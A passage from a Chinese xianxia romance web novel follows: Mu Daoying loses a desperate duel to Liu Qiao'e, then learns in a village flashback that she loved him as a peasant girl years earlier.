可刘巧娥又岂非普通人? 其实若论战技,刘巧娥未必就强得过慕道瑛。 他一招一式,每一个步法,每一次旋身,都是多年行道,实战中浸淫而出的干净利落。 她胜在根基。 而根基,又几乎决定了修士的生死。 慕道瑛这一口剑气虽然漂亮,可必须有无穷的真力支撑。 根基受损严重的他,又岂能支撑他太久? 刘巧娥冷冷打量着他,若不出她所料,他这一招,乃是透支全身筋脉丹田中的真气而来! 疯子!想通这一点,刘巧娥面色更差,恨火几乎烧穿心肺! 透过慕道瑛苍白的,文文雅雅的面容,她看到了燃烧在他血管之中的偏执疯狂。 她早知晓他是个疯子。 踏上这条修道之路,执着个虚无缥缈长生之愿的,谁人不是疯子?只是慕道瑛伪装得太好罢了! 他便这么恨她?!宁愿透支自己后半生的仙途今日也要跟她以卵击石?! 她几乎不必费多少力气,只要等他真气耗尽,自可稳坐胜局。 可刘巧娥心底大恨,如何愿见他好过?她自也不是普通人,一边,莲瓣散落,旋绕她四周,护她命门,另一边则飞出血罗刹。 血蛇飞入暴雨剑光之中,咬得朱红飞溅,碎银满地!绞出一片惊心动魄的跳脱银光! 慕道瑛脸色肉眼可见地又苍白了一截,强行催动破败不堪的丹田,令剑芒又暴涨了一瞬! 可剑光强,那朱红便更强。 很快,慕道瑛唇角便淌下一缕血沫。 沈澄因终于无法维持沉静,不住往前迈了一步,喊道:“宁瑕!” 赖永乐低斥:“小沈!别乱动!” 沈澄因:“可是长老——” 她忍了忍,额角绷出青筋,到底收敛了情绪,“宁瑕又如何敌得过老母?弟子是怕他有性命之危。” 赖永乐:“那也是他自己选的!是他自己想要的!更何况,你再多看看呢?” 沈澄因愣了一下,多看了一眼。 慕道瑛闭了闭眼,沈澄因跟赖永乐的对话并未传入他的耳中,或者说,此事此刻,万事万物,早已不在他的眼、耳。 他沉下心,闭着眼,非但没有后退,反而又往前踏出一步! 几乎同一时间,就在众人以为他已经被那朱红压得几近强弩之末时,那道缥色身影竟又爆发出灼灼光华! “是五境!”有仙盟弟子骇然变色,“他竟然在这个时候破境了,怎么可能?!” 逼命时刻,慕道瑛竟然以此根基破损的残躯,突破了四重境界,迈入了第五境——指玄境! 这简直是骇人听闻! 修真界不是没有过危急关头突破的往例,只是修士往往还保有根基未损,受的也无非是些断肢的皮外伤。 “这不算什么好事。”宋妙菱道。 “纵使破境,透支了灵根,对根基损害太重。” 狄冲神情也有点复杂。 “成败,或许便在此一搏了。”宋妙菱低低道,说到“成败”二字,又默了默。 毕竟,任谁都能看出,这场搏命,或者说,单方面搏命的赢家会是谁。 果不其然。 慕道瑛透支了根基,突破的境界,终于令剑芒一寸,又一寸,缓慢而坚定地再次压过了那抹血红,占据了上风。 剑光一点点,侵犯着那道朱烈的血红。 慕道瑛也并非一味地只知晓进攻, 他剑势慢了下来,此时倒是柔如春雨,如春蚕结茧一般,一点点包裹朱红,缠它 而之前往来无阻的血蛇,终于被漫天柔沉的剑光所牵绊住脚步,谨慎地原地飞舞,周旋。 这场拉锯战令慕t?道瑛唇角鲜血淌得更加汹涌。 可偏偏就在这时,一阵细微的碎裂声传来。 是剑碎裂,还是人碎裂? 此时的慕道瑛,浑如一把紧绷到极点的弓弦。 他手上那把凡铁铸就的长剑,终于支撑不住双方修为威压,骤然崩裂,碎成几截! 灵力炸开的一瞬间,那道淡青色的身影被反噬的气流“轰”地击飞数丈! 终于! 弦断人伤! 他如断了线的风筝一般,重重砸在了尖锐突起的石壁上! “嗤”,突起的笋形灵矿深深刺穿了他的背心。 慕道瑛五脏俱裂,软绵绵地顺着石壁滑落,跌倒在地上,“咳咳”喷出一口混杂着脏器碎肉的鲜血。 眼前一片发黑,恍惚间,他看到一片洁白的裙摆。 经历过方才这样激烈的对阵,她裙摆竟依然洁净如初,纤尘不染。 只是此刻,层层莲瓣般的裙摆,在地上一划而过,才染了他的血,在他眼底绽放出妖冶红莲。 慕道瑛剧烈地咳嗽着,眼里泛起昏蒙雾气,看着刘巧娥一点点走近。 “你到底在坚持什么?”刘巧娥皱了皱眉,复杂地看着眼前这个破布一般气息微弱的男人。 慕道瑛不说话,只低头不断咳嗽,血沫呛进了喉咙,他喉口发痒,脊背轻轻地像个虾子弓起。 可就算他不说话,刘巧娥也惊异地觉察到他在想什么。 她当真了解这个男人至深了。 她凝望他残破的身影,倏地升腾起一个念头,“你在自罪,自罚?” 慕道瑛闻言,缓缓合上眼。 她蹲下身,抬起他的下颌:“看我。” 他浑身上下抖得很厉害,仿佛在经受莫大的痛苦和耻辱。 慕道瑛别过脸,唇角不断渗出血沫,以这种方式表达着自己微弱的反抗。 刘巧娥沉下脸,使了点儿劲,卡着他下颌又一次转过来。 慕道瑛一言不发,淡色的唇角几乎抿出鲜血,倔强地再次偏过头去,密绣的漆黑眼睫渗出一点泪珠。 刘巧娥冷笑一声,拇指狠狠抹去他眼角清泪。 他肌肤仿佛已经不能忍受外物再一步的刺激,狠狠地又颤抖了一下。 刘巧娥从袖中摸出一把纤长的剑丢到他身上。 本命剑与修士神魂相通。 感觉到逢春的气息, 慕道瑛怔了一下,终于无法再装聋作哑,忍不住睁开眼。 瞥见那剑,他乌沉漆黑的眼珠微微睁大了些,“逢春……?” “是你的逢春。”刘巧娥面无表情道。 那日她见他被食骨宗围杀,惊怒交加,事后便叫程洵帮忙联系仙盟,,她本来打算将这把剑送他。 可没想到,他竟骗她!若是寻常人等或许情人哄两句便也揭过了。 可她不是。 她不能容忍背叛!她原本就是恨他的,只不过那股恨意被爱意所掩藏。 如今被他的欺骗彻彻底底勾连出来。 她被风花雪月迷晕了头脑,自从罗那吉出现在宿雾城时,她便当知晓,她跟他从来没什么未来可言。 慕道瑛仿佛想到什么,又怔住了,脸上再也维持不住故作的冷淡。 “你……”他忍不住抬起眼唇。 眼底掠过一丝惊讶挣扎,唇瓣惶急地微颤,微微扬起的下颌,像在渴求什么。 可到底渴求什么,慕道瑛心乱如麻,也毫无头绪。 “你明知道你杀不了我。”刘巧娥的嗓音如冷雪一般,遥遥地,仿佛从天上飘来一般,渗入肌肤。 慕道瑛身子一颤,终于低低地开了口,迷茫说,“可我不能不做……” 亲眼见刘巧娥杀了灵元,他本该恨的,可他恨不了她。 又不敢爱她。 既无法全心全意地恨,也无法全心全意地爱,便只能做此选择。 明知会输,仍豁命一搏,是为灵元,为这师生情谊。 知晓纵然搏命也伤不得她分毫性命,是为了她。 到最后,折磨的也就只有自己。 两种情绪在心底激荡交织,几乎快将他撕裂成血淋淋的两瓣,慕道瑛不禁苦涩道,“你杀我罢。” 刘巧娥冷嗤,“愚蠢。” 慕道瑛抿紧了唇。 刘巧娥没有再给他说话的机会,她拿逢春拍他脸颊,嗓音干枯而平淡, “这次,我不杀你,若有下次,用这把剑来杀我罢。” 说完,转身就走,毫无留恋。 这场战斗因为慕道瑛剑毁人伤,并不算漂亮,可在场一人竟无人敢言。 直到刘巧娥走后,场中的寂静才被人打破。赵言歌、沈澄因等人匆匆拥了上来。 “宁瑕!” 慕道瑛却仿佛将全世界都遗忘了,半条腿费力支撑他坐起,垂眸静静地瞧着怀中的逢春。 看得很仔细,很专注,仿佛是第一次看到它一般。 细白枯瘦的指尖颤抖着摸到剑身,一寸寸历历抚过,仿佛抚摸无缘的爱人的鬓发。 入道这数年来,不问风月,孰料第一次动心,竟落到如此惨烈收场。 不过短短几日,倒果真短如一场春梦无痕了- 四大家这次联合,是为返魂灯而来。 如今,灵元身死,返魂灯到手,便再无停留的理由。 至于食骨宗及魔门在这里做的这些事,则由刘巧娥、宋妙菱、赖永乐、赵言歌、狄冲等人联合给仙盟打了个报告。 后续诸事宜,自有仙盟负责。 刘巧娥唯一插手的是郑绅及任家村村民的处置,她另给当今仙盟盟主秦仙都去信一封。 秦仙都允了她的请求。 又过几日,众人在宿雾城中分别。 赵言歌走得最快,仙盟如今尚未看出那迷药或跟大梦丹有关,可事涉自家掌门,他不敢轻忽。 他将受伤的慕道瑛带回,却连照顾他的时间都没有,便将他托付张素心,吴云华等人,自己连夜出了宿雾城。 之后走的是宋妙菱,狄冲。 狄冲临走前,特地拜访了刘巧娥。 这倨傲冷淡的少年,对她倒是颇为尊敬,“世人多人云亦云之辈,传言多不实。 这些天里,小子亲眼见老母杀伐果断,指挥若定,是乃当世难得之英豪。 望下次仍有重聚合作之机。” 说完,一拱手,领着一大批太和宗弟子,浩浩荡荡上了飞舟,甩下一道干净利落的背影。 刘巧娥皱着眉,惊疑不定,莫名其妙,除了个“炮仗一般,比她还易燃易爆”的莽狠形象,她对这少年几乎全无印象。 沈澄因忧心慕道瑛的伤势不愿走, 可慕道瑛自从那日折返,便将自己关在客房中,不见一人。 赖永乐劝:“算了,小沈!若是以前,我还赞同你跟那慕小子多走近点,但如今,你看他跟老母……” “你看他那样子,他心里有人了啊。”赖永乐叹息。 想起不日前震动众人的那一场惨烈对阵,沈澄因心中酸涩。 “再说了,他这一战自毁了根基……还想有所成就,难啊。 “乖啊,小沈,这天下还有那么多的青年才俊,到时候你喜欢哪个,叫你师父给你挑!再不成也不必非得纠结这些男女情爱,像你师叔我这样一个人不也挺好?” 沈澄因涩然:“多谢你,长老,我都懂。” 二人谈心之后,第二日,沈澄因便跟着游剑阁的队伍离开了宿雾城。 她前脚刚走,后脚程洵便带着一批合欢宗弟子赶到了宿雾城,亲迎老母回宫。 一直到合欢宗的飞舟架临宿雾城。 这也是,慕道瑛时隔这段时日,第一次,走出客房。 这一次战斗,令他受了严重的内伤,根基几乎被毁了泰半。 玉清观弟子找来医师,都摇头说无救了,恐成废人了。张素心等几个年纪小的忍不住哭了出来,可慕道瑛反温言宽慰他们。 飞舟到时,慕道瑛静静站在客栈外的那颗高大的白玉兰树下。 他受伤太重,暮春时节也严重畏寒,裹了厚厚的白狐裘。苍白薄透的脸蛋拥在那一小圈白茸茸的毛领间,愈发显得漂亮得毫无生气, 轩轩清举,玉树临风,不像之前那个破落道士,倒显出几分本来世家公子的矜贵风华来。 程洵远远也瞧见了慕道瑛,他既不上前,只沉默地站着,缥色的身影,淡得几乎成了静默的惨白。 而素来对他最为看重的刘巧娥,竟也视若无睹。 来时的路上,程洵便多多少少已探得了口风。这回他虽未随行—— 他自然也知晓老母的意思。 虽说他跟刘巧娥二人只如兄妹相处,但两个她的男人待在一处,总不太好。她瞧出来,他虽表现得舒朗大度,但慕道瑛毕竟不同其他那些男宠,他总是有些在意的。 程洵人不在,却颇关切刘巧娥的衣食住行,那些随行她身边的弟子也会定期向他跟陈玉柔回报。 这场对战,程洵没亲眼目睹,却也知晓了八九不离十。 “老母当真不带他回宫?”他问。 刘巧娥冷淡道:“不是你们说我对他有执念?最好收了t?他,破了这个执念?” “陈玉柔话说得不假,我如今看来,他跟寻常男子也没什么区别。” 破了执念吗?程洵不敢苟同,他觑着刘巧娥的神色,想了想,主动走到了慕道瑛面前跟他招呼,“慕道友。” 慕道瑛没想到程洵会过来,犹豫了一下,轻轻颔首回礼,“二老爷。” 礼节虽妥当,可不知为何,再见程洵随侍刘巧娥身边。 他心里竟再也回不到从前那般坦然相对,彼此欣赏的时候了。 他乌黑的眼珠静静瞧着程洵,很难不如鲠在喉,竭力想回到从前那轻描淡写,从容有度的君子之交,却再也找不到当时的心境。 慕道瑛顿了顿,却发现,自己其实并没有妒忌程洵的理由。 倒是程洵。 这多少事慕道瑛头一次品尝到吃味儿的滋味,于感情一事上,他仍是青涩稚拙的少年,心里仿佛有团火在烧,烧得他很难保持昔日俨然镇定。 他不禁佩服起程洵竟一直能保持大度。 这样一来,又难免胡思乱想,跟他比较。 心境一变,他便能捕捉到些细微的东西,譬如说,程洵作为一个男人对刘巧娥的情谊。 而他之前,竟认为程洵不过也是在刘巧娥手底下办事罢了。如今想来,二人关系又岂如此简单—— 想到这里,他心里便又不太好受了。慕道瑛逼自己缓沉了心头浮念。灵元如今是横亘在他跟刘巧娥之间的一道伤疤,他没法恨她,却也不能罔顾师仇,坦然逾越。 恐怕,他跟刘巧娥也就到此为止了。 他想恨她,将自己闭锁在房中的那些日子里,他曾经无数次想要恨她。 如果他当真能恨她便好了。 只可惜,比起恨她,他更痛恨自己的无能。 师尊既已传讯,可自己仍护不住他的性命。 她也早已明说,必定杀他。他明明曾有无数次的机会的。 她与灵元素无仇怨,只是为了拿到春简,参加春台问道,替仙盟办事,公事公办。 他应当恨的是清虚,仙盟,是隐藏在仙盟之中的幢幢鬼影。 他出生士族,见过官员落难被斩,家人不去怪当权者,难道还要去怪刽子手吗? 他修为低微,无能为力,又有何颜面迁怒他人!迁怒刘巧娥,除了继续暴露自己的虚弱无能又有何用处?! 还有那句“别为……” 别为什么,在此情形下,他所能想到的唯一的解释。 便是别为他报仇。 这的确是最符合师尊性子的留言。 师尊是怕他日后深陷仇恨,还是说,师尊亦明了他的虚弱无能? 不管哪一种解释都是慕道瑛不能承受之痛楚。 倒是程洵主动开了口,“慕道长,宿雾山离小茅岭很近。” 慕道瑛面露不解,不意他为何突然提起这个…… 小茅岭,名不见经传…… 正思忖间,程洵又道:“道长去过小茅岭吗?” 慕道瑛想他提起这地名,定有深意,他隐约觉得耳熟,蹙眉想了一会儿,仍未想出头绪,“似乎,并未。” 程洵道:“小茅岭虽然不大,也没什么奇景,但风光也算秀美,颇有些野趣,道长应当去一次,散散心也好。” 慕道瑛抬睫对上程洵的视线。 他确定了程洵的别有深意。 程洵缓缓道:“说不定,道长会另有所获。” 慕道瑛搭下眼帘,顿了半晌,方道,“多谢二老爷提醒,瑛必定前往拜会。” 第44章 第 44 章 我妻 慕道瑛是个行动力很强的人。 程洵说完, 便跟随刘巧娥登上了飞舟,慕道瑛静静见二人远去天际,第二日, 便收拾了行礼去了小茅岭。 他跟程洵之间,只牵扯刘巧娥。 慕道瑛预料到小茅岭跟刘巧娥有关。 或许, 在他心底,他也是极迫切地想给他跟刘巧娥之间找条新的出路。 其实,非止程洵, 宋妙菱走之前也找到他跟他说了一段话。 女人温厚迟疑的嗓音犹回响耳畔。 “这话本不该由我来说。但我对她是心存了愧疚的。” “你师尊一事, 节哀,不过望你知晓,她过得很苦。性情偏激, 亦是情有可原。” 那时, 他不解其意,“长老此话何意?可否明说?” 宋妙菱淡淡道:“或许, 是因为我们云山宋氏都欠她的罢。” 程洵, 宋妙菱都跟他说过类似的话,刘巧娥的过去到底发生了什么? 离小茅岭越近,便仿佛离刘巧娥越近,这一路上, 慕道瑛总有些惴惴不安之感。 直到, 他迈入山下这个名为小茅岭村的村落。 青山如黛,平湖如镜, 阡陌纵横, 新稻连畦,几只蜻蜓悠闲飞舞。 三两个孩子追着蜻蜓屁股后面跑,跑得急了, 身边的父母拄着锄头笑道:“慢一些诶,别摔了!” 刚说完,一个孩子便摔倒在了慕道瑛脚边,哇哇哭起来,慕道瑛赶忙将他扶起,摸出块手帕擦了擦他小脸上的灰尘和眼泪。 那孩子本来还在哭,一抬头瞥见他如画眉眼,登时不哭了,呆呆地问:“神仙!哥哥你是神仙吗?!” 他父母忙跑过来,跟他道谢。 慕道瑛温言:“我不是神仙,我是来找人的。” 他直起身,面向那孩子父母,“叨扰,请问此处是小茅村吗?” 那一对农人吃惊于他的容貌气质,一时间不敢答话。 但慕道瑛神态言语是极为平易柔和的,又柔声询问了一遍,“大娘,大爷,我跟您俩打听个人。” 那农人夫妇又见他谈吐文雅,缥色的道袍仿佛也被浆洗过数遍,袖口微微泛白,这才放松了些警惕。 “这位小郎,你要打听谁?” 慕道瑛虽是个秀丽得有些剔透微冷的容貌,叫人不敢靠近,但周身气质倒十分温和,仿若阳光下碧蓝的晴空,惠风和畅。 慕道瑛想了想,问,“此处可有人家姓刘?” “刘?”那妇人纳罕道,“我们这边人都姓刘。” 慕道瑛顿了顿,“大娘可听说过,刘巧娥?” 那妇人茫然地摇了摇头。 问身边丈夫,丈夫也茫然。 慕道瑛想这村子既然都姓刘,那的确跟刘巧娥脱不了干系了,说不定她正出生此处。 他不知刘巧娥年岁,她当初时在东华界可谓“异军突起”,不过一两个月的功夫名声便已传遍东华。 修士寿数漫长,许是多年旧事,这对夫妇才不曾耳闻。 他想了想,便请他们介绍这村中最年长的老人,去问一段古。 在那对夫妇的指引下,慕道瑛终于找到据说是小茅村年纪最长的老寿星。 那位老寿星,听他来意,先指了指远处的小茅山,再指指小山之外又一重山。 吸了口旱烟,这才开了口,“看到那座山没有,那座大一点的是大茅岭,之前大茅岭下有个大茅村,也就大茅刘村,只是后来闹了灾了,咱们刘家村的人这才搬到了这小茅岭,原先我们是住那儿的。” 慕道瑛听了,问,“那老丈可听闻过刘巧娥,这个名字?” 那老寿星愣了一下,突然直勾勾地盯着他看了一会儿,叫道:“我认识你!!” “你……你之前来过,刘巧娥……是刘福生家的那个闺女是吧?!” 慕道瑛一怔,不意竟然真的探听到了刘巧娥的过往,却随后又生出许多不解来。 只是这老丈说见过他又是何意? 他皱起眉,思忖起程洵的话来。 他问他有没有来过小茅岭可见不是无的放矢。 可他这些年来跟随师门斩妖除魔,云游四方,去过的地方太多,小茅岭实在太不起眼,他一时之间竟也有些想不起来。 听这老丈一说,倒确乎隐隐有些印象。 那老丈又喟叹:“多少年了,仙长竟一点还没老,也不知道那刘家的闺女如今到底如何了——” 慕道瑛闻言收拢心神,抬眼问那老丈详细,“老丈说见过我是怎么回事,还有那刘家闺女……” 下一秒,那老寿星说的话,顿如个平地落雷,直将他炸得头昏眼花。 那老丈直笑:“你打探的那刘家闺女,喜欢你呐!咱们村谁人不知道?” 喜欢他? 慕道瑛大脑一阵空白,只顾茫茫然地咀嚼着这几个字。 仿佛有一股电流顺着脊背蹿升到了后脑勺,他指尖发颤,浑身上下都因这话而感到一股恐惧的战栗。 他忽然预感到自己即将揭露一段真相,而这真相是自己所不能承担的- 大夏朝,凡人历,延兴十四年的夏。 那是一年夏天里最热的日子,趴在树上的蝉密密仄仄,呱呱擦擦地叫着。 大茅岭刘家村这段时日都不太平,据说山里来了只妖兽,死了不少人。 大家近来都不敢上山。 刘巧娥脸晒得通红,刚从河边洗完澡过来,赤着脚往家走。 可一到家,她便愣住了。 她家门口不知何时竟站t?着一群仙人! 她当然没见过仙人,可在她想象中,村东秀才口中的“仙人”也无非如此了。 这几个少年少女,通体穿一身雪白,一个个长得比年画上的娃娃还好看,大夏天里,却浑身芳香无汗,宛如冰玉雕琢出来一般的沁凉。 而她娘竟然就站在门口,跟这几个仙人说话。 她忍不住叫:“娘!” 那几个仙人闻言纷纷看过来,目光都落在她身上。 她浑身上下晒得黑黢黢的,目瞪口呆的样子,活像只黑皮青蛙。 刘巧娥强忍住自卑跟羞耻,快步走到她娘身边,小声说:“娘,这是干嘛呀。” 她娘紧张的模样看起来也没比她好过多少,握着她的手,也小声回。 山里有妖,这帮小仙长是来问路除妖的。 山里有妖的消息很快便传遍了整个刘家村。 而那些天仙一般的少年少女,据说是来自玉清观。 他们很快便在刘家村落了脚,暂时寄住在了村长的家里。 所有人都好奇这传说中的仙人,刘巧娥也不例外。 他们进山的时候要路过她家里,她就支着窗子,偷偷趴在窗户下面看。 她简直被其中一个少年给迷住了。 那个如冰似雪的少年,走过村里那棵老槐树下,树影下轮廓分明的侧脸,晶莹得好像新剖开的梨子。他眉眼还未长开,性子也冷淡内敛,像个大孩子。 他们总往那山上去,有时候,一天要去好几次。 他性子似乎有些冷淡的,不太爱说话,可是他那些师兄师姐叫他的时候,他总会认认真真,彬彬有礼地回答。 他走起路来,步数仿佛也是一致的,她几乎看入迷了,怎么会有人走起路来,脚步也仿佛一致的,从不跑,也不跳呢。 他腰间垂着一串环佩,也几乎从来不发出一点声响,他看起来稳重极了。 可唯独她才知晓一个秘密。 他并没有外表表现出来得那样稳重端庄。 在师兄师姐忙着探问村民的时候,他会悄悄看树下的蚂蚁们搬家,也会悄悄扭扭头颈,松松绷了很久的筋骨。 天太热,他还会悄悄将手指贴在佩剑上,感受佩剑冰凉的温度。 待师兄师姐们看过来,又是一副腰背挺直,尺子丈量出来般的标准,小鹤一般的优美漂亮。 这只有她才知道的秘密,令她飘飘然,生出点自大之感。 明明他一点也不认识她,可她自觉跟他共享了一个秘密,仿佛已经是极为亲近的人了。 你看,她都知道,他似乎怕热,他心里也活泛着呢。 他们只是需要一个认识的契机而已。 有好几次,她真的,差一点,就叫住他了。 她可不比村里那些丫头们,她们胆子小得连看他们都不敢看,只敢聚在一起你推我搡,笑嘻嘻地打趣。 她无数次鼓起勇气,想要叫住他们。 可叫住了又能说些什么?她总是反反复复幻想自己叫出他的时候,细致地推敲着他们之间有可能的每一句对话,每一个字眼。 直到有一日,她远远地看到他们又下了山。 那小少年难得出了很多汗,乌黑的头发丝黏在雪白的肌肤上,小脸红扑扑的。 她偷窥了这许多时日,已经知道了他的名字,他身边那个个头高一点的大一些的少年,叫他,“慕师弟”,还有叫他“宁瑕”的。 慕宁瑕……她翻来覆去地咀嚼,这便是他的名字吗?临睡前念着念着,竟然咀嚼出一点冰凉凉的甜来。 她看那个慕宁瑕出了很多汗,微微蹙着眉,仿佛很热的模样。 当时也不知怎么想的,又或者什么也没想,她心里忽然身处一股强烈的渴望,那渴望像过电一般,从她脚底板直冲天心。 她生出个大胆的,不要命的念头。 他似乎看起来很热,也很渴,如果她去送他一瓢水呢? 激动与恐惧其实是共通的,她于激动中感到一阵令她头脑发白的恐惧。 那恐惧令她浑身发抖,她拼了命地跑到后院那口大大的水缸前。 她脚步也打颤了,甚至还摔了一跤,膝盖都磕出了血,可她一点也不觉痛 她浑身上下都沉浸在这恐惧的战栗之中,恐惧在她体内反复激荡,冲刷,让她感到一阵几乎迷醉的幸福。 她兴奋得浑身发抖,她知道,她必须要抓紧这唯一一次的机会,趁着她如今还有勇气。 趁着这无知的勇气,如奔泻的山洪一般,冲得她晕头转向的时候,她扑到缸前,急匆匆地按下浮瓢。 水面浮着点落叶,细小的尘埃。她们平日里都是这样喝的,不算干净体面,可庄稼人哪里在乎这个? 撇去落叶尘埃,将瓢压下,压满整整一瓢水,她欣喜地捧起浮瓢,像捧起给村头土地庙里菩萨的供果。 可突然间,她瞥见了水面倒映出的自己。 瘦瘦小小,黑黢黢的,毫不起眼的模样。 她脚趾不安地挠着地面,突然像从一个激荡的梦里惊醒了。 这样的她,这样的她当真能出现在慕宁瑕面前吗? 她想象中,她应该是像戏台里演的那倾国倾城,端庄文雅的大家闺秀们一样, 可是这么短的时间,她从哪里变成个大小姐。 如果以这样不堪的方式,出现在他面前,她宁可不去! 她有些后悔了,她丢了瓢,抿了唇,愤怒地冲出了后院。 她浑身上下被一股莫名的,焦躁的火焰烧化了。 她小弟不明所以,还以为谁招了她惹了她,吮着手指问她,“姐,你怎么了?谁生你气了?” 她小弟平日里是很乖巧的,父母虽然偏心,可小弟一向对她唯命是从。 她在小弟面前,是个小大人,可以骑在他头上作威作福。 可他的好意反惹来她劈头盖脸的大骂。 骂着骂着,她将自己摔倒床上。 床板发出不堪重负的吱呀声响,褥子已经很陈旧了,棉花也泛着黄污的旧渍,她瞥见墙角的蛛网,霉旧的梁柱,黑漆漆的瘸腿的桌,豁口的瓷碗。 她看着看着忍不住哭了出来。 可小弟偏偏拉着小妹又追了过来,两个人一般脏兮兮的,鼻子下面挂着没干的鼻涕渍,破旧的草鞋露出半截黑漆漆的脚指甲盖。 她愈发痛哭不止, 她痛恨自己这样窘迫的家境,生平头一次如此痛恨自己的家,自己的亲人。 她恨为什么自己不是城里的大小姐,为什么没有体面的父母,亲人,漂亮的住宅,衣服,首饰。 小弟小妹们惊讶地看着她,窃窃私语。 她觉得委屈极了。 他们根本不懂她心里的委屈,而这又无人述说的痛苦给她添了新一重委屈,快将她憋死了。 他们不明白,便手拉手又去大门边玩石子。 突然她小弟叫起来,“那不是那些仙长吗?” 她本来趴在床上,将头脸埋在散发着霉味儿的枕头里,眼泪流进鬓发,干结了。 她的心也如死灰堆。 可小弟这一句话,又燃起了一点火星。 她的心又跳动了,那丑陋的野心又张牙舞爪,不知天高地厚地跳了出来。 她忽然又不甘心了。 来不及了。他们马上就要路过她家门前。 错过这一次,她再也鼓不起下一次的勇气了。 她从床上跳起来,冲回后院,打了瓢水,瞥见那漆黑破旧的瓢把上细小的霉斑,她的心情又黯淡了一些。 那瓢已经被她用水仔仔细细洗过那么多次了,可还是不够体面,脏兮兮上不得台面的模样,多像她啊。 可她来不及多想,她急匆匆地捧着水瓢冲了出去。 那几个仙人不料半路杀出她这个程咬金,都愣了一下。 刘巧娥捧着水的手在颤抖,她其实后悔了,但他们已经看见了她,她涨红了脸,羞怯得恨不能晕死过去。 还是那为首的大少年生怕她晕过去,主动问她来做什么? 她憋着一口气,看看那慕宁瑕,又看看水。 那大少年倏地笑了,“宁瑕,人家送你水呢?” 他身后的仙人们都友善地哄笑起来。 那小少年吃了一惊,皙白的脸蛋浮现出两抹红晕,他乌黑的眼睫蝴蝶一般,颤了颤,显得极为不好意思。 刘巧娥死死咬着牙站着, 水哆哆嗦嗦洒了出来,洒在了她草鞋露出的半截脚趾,她头晕目眩,又想要哭了,她努力想把脚趾缩回去,可不论她怎么努力,那半截脏兮兮的脚趾仍然存在,她恨不得抡起墙角的斧头将它砍下来。 她头晕目眩,恶狠狠抿着唇,几乎有些仇恨般地冷酷着脸。 她心里拼命祈祷。 土地公公,龙王爷,娘娘在上啊,他千万,千万不要注意到她的脚。 没有人知道,此时此刻在她小小的体t?内正起了一场战争,一场惊天动地的战役, 金戈铁马,烽烟四起,血流成河。 它不输人类几千年历史间任何一场宏大的,动员几十万人的战役。因为它带给人心的恐惧,振奋,激动是近乎一致的。 此时此刻,它就在一个这样的小山村,这样一个平平无奇的小丫头的体内发生了。 蝉鸣聒噪,而在她咬紧压根静默无声之处,战火轰鸣。 小少年有些迟疑,有些羞赧,可饶是如此,他仍双手接过,道了谢,认认真真鼓着脸,咕咚咕咚一饮而尽,一滴也没剩。 她心里猛地一颤,像一道闪电猛打在了她身上,四肢都忍不住软了下来,他捧起水瓢的刹那间,仿佛捧起了她。 他将她捧在掌心,他的嘴唇贴着瓢边,仿佛在亲吻她。 她的心里也仿佛注入了一股清甜的泉水,身子一下子变得极为轻盈,像田边的蒲公英,像池塘边飞舞的蜻蜓 她飘然飞了起来。 她瞧见汗水挂在他脖子根,像是甜白的釉。 她眼睫颤动,心脏剧烈地跳动着,几乎快跳出了喉咙口,她幸福又激动,激动得眼前发白,胃也绞紧了。 她激动得想吐,又仿佛下一秒就要晕死过去。 然后呢,然后便没有然后了。 妖除灭了,他们便走了。 …… 他们走的那天,村里人都来送。村头的凤仙花也被太阳晒得蔫头耷脑的。 她只能看着那小少年扭脸跟师兄说了些什么。 他们之间仅仅只隔着短短的几步路。隔着人群,她多想鼓起勇气再叫住他一次。 可勇气只有一次,那一次似乎已经耗尽她平生全部的勇气了。 在她小小的体内,又一次上演了狂风暴雨,电闪雷鸣,山洪到来时的悲恸不甘。 他这一走,她的世界仿佛顷刻间坍塌了。 她的人生仿佛也到此为止了。 她似乎可以预见她一眼望得到头的,平庸黯淡的下半辈子了。 他这一走,将她下半辈子全部的光明,全部的希望,本来或可拥有的幸福都带走了。 可她甚至无法开口叫住他, 她心里清楚,叫住又如何呢?多说两句话并不会给他们的关系带来任何改变。那天送完水之后,她就又后悔了,伏在床上又痛哭了一场。 她不该送水的,这一送,又让她生出不该有的期待,几乎快把她的心扯碎了。 她仿佛被他被丢进油锅里,日日煎熬着。 这只是一场梦,她闭上眼,心里一遍遍告诉自己,梦是很好的,能有这样的梦就很好了,她不能再耽于梦境了。 初出茅庐的小仙长,随师门下山除妖,半道儿遇到情窦初开的乡野少女。 不出意外的话。 他仍要回到他那山上,修他的道,亦可能之后随一个仙子结为道侣。 而农女,自然便如她身边那些大姐姐一样,嫁一个农夫,生下好几个孩子。 赤日炎炎,田间地头成日的劳作终将磋磨了她青春的容颜。 如果足够幸运的话。 或许几十年之后,那小仙长还会路过村子,小仙长已经长大,仍是一副芳姿清淡,玉润无尘的模样。 这一次出来指路的却是个白发苍苍的老婆婆。 仙长不解她的年岁,只温言端整地唤她,“大娘。” 仙长离去之后,老婆婆便将路遇神仙的故事翻来覆去地跟小辈们讲。 毕竟这可是这个封闭的小山村里,也是她乏善可陈,劳苦重重的人生中,难得的嚼头了。 无人会在意,多年以前那乡野少女心底也曾有过豪情壮志,也曾敢窥天上月。 也因与那仙长的际会,也曾有过那短暂的,惊心动魄的不平凡。 可偏偏这世间造化便是如此多奇,老天爷最爱捉弄人。 农女成了名震东华界的无垢老母。 而仙长。 仙长已深深地爱上了她。 日头仍高高地挂在天上,炎炎的日光晒得慕道瑛头晕目眩。 他仍沉浸在这个平庸无奇的故事里,震骇得说不出话来。 原来刘巧娥一早便与他相识,原来他们一般的年岁。 原来她一早便喜欢过他。 娥娘…… 他心如刀绞一般痴痴痛起来。 他努力想从回忆中翻找出这一段的过往,为何却仍一无所获呢。 其实少女那点惊心动魄的情思,落在老丈口中,也不过是平平淡淡,乏善可陈的三言两语。 “我记得那刘家闺女可喜欢你了,每回你们进山,打她家门口过,她总趴窗子下面看。 “有回我扛着锄头正好路过,问她,娥娘你干嘛呢,她脸腾得就红了,也不说话,啪,把窗子关了。这孩子从小脾气就大着呢。” “诶,”老丈笑眯眯,“那个时候我就知道了,她这是看上过路的小仙长啦。不过这本也没什么的。那会儿,村子里哪个姑娘没动心的?” 他咋咋舌头,“不过,刘家这个闺女胆子大,还跑去给人送了碗水。回头就被其他不服气的闺女告了家里,说不端正,又被她娘一顿打。” 老人都话多,说起昔年刘家村那点还算有趣的旧事,便滔滔不绝停不下来。 慕道瑛也没打搅他,他容色黯淡,强忍着喉口的涩然,静静地听。 